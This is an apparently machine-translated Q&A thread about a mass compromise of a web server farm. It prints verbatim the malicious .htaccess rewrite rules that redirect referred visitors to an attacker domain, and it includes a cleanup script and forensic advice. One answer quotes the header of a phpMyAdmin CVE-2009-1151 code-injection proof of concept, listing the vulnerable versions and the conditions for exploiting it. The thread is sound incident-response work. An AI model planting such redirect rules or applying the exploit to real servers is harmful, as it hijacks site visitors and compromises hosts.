Como encontrar vulnerabilidade no servidor da Web

Question

Operamos um farm de servidores web que hospeda cerca de 300 sites.

Ontem de manhã, um script colocou arquivos .htaccess de propriedade de www-data (o usuário do apache) em cada diretório sob o document_root da maioria (mas não de todos) sites.

O conteúdo do arquivo .htaccess foi este:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Pesquisando esse URL (que é o hash md5 do "antivírus"), descobri que a mesma coisa aconteceu em toda a Internet e estou procurando alguém que já tenha lidado com isso e determinado onde a vulnerabilidade é .

Eu pesquisei a maioria dos nossos registros, mas ainda não encontrei nada conclusivo. Há outras pessoas que experimentaram a mesma coisa que foram além do que eu tenho em apontar o buraco?

Até agora, determinamos:

• as alterações foram feitas como www-data, então o apache ou seus plugins provavelmente são os culpados
• todas as alterações foram feitas a 15 minutos uma da outra, por isso, provavelmente, foi automatizado
• Como nossos sites têm nomes de domínio muito variados, acredito que uma única vulnerabilidade em um site foi responsável (e não uma vulnerabilidade comum em todos os sites)
• se um arquivo .htaccess já existia e era gravável por www-data, o script era gentil e simplesmente anexava as linhas acima ao final do arquivo (facilitando a reversão)

Mais alguma sugestão seria apreciada.

== Editar ==

Para quem precisa, aqui está o script que eu usei para limpar os arquivos .htaccess:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/'mktemp "XXXXXX"'
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ 'cat "$FILE"|wc -l' -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES='cat $TMP|wc -l'
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

    

Answer 1

Há uma exploração do phpMyAdmin

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it seems this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the wizard method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

    

Answer 2

Como o ataque parece ter vindo através do apache, eu faria estas duas coisas:

1. Pedaço de todos os registros de acesso procurando '.htaccess', por exemplo, algo como grep -rn '\.htaccess' /var/log/httpd/*access*
2. Procure no diretório pessoal apache / httpd / whatever users por um arquivo de histórico, geralmente '/ var / www' ou algo semelhante.

Isso primeiro informará se o próprio usuário da Web foi comprometido ou se o invasor estava utilizando uma execução de comando arbitrária. Pode também dar uma conta (potencial) completa do que o atacante fez. Por mais bobo que pareça, a maioria dos hacks como esse raramente limpam a si mesmos e deixam tais evidências para trás.

E, é claro, se você tiver um grupo em sua organização que realize uma resposta a incidentes de segurança ou um exame forense, talvez valha a pena entregar o equipamento a eles antes de começar sua própria análise.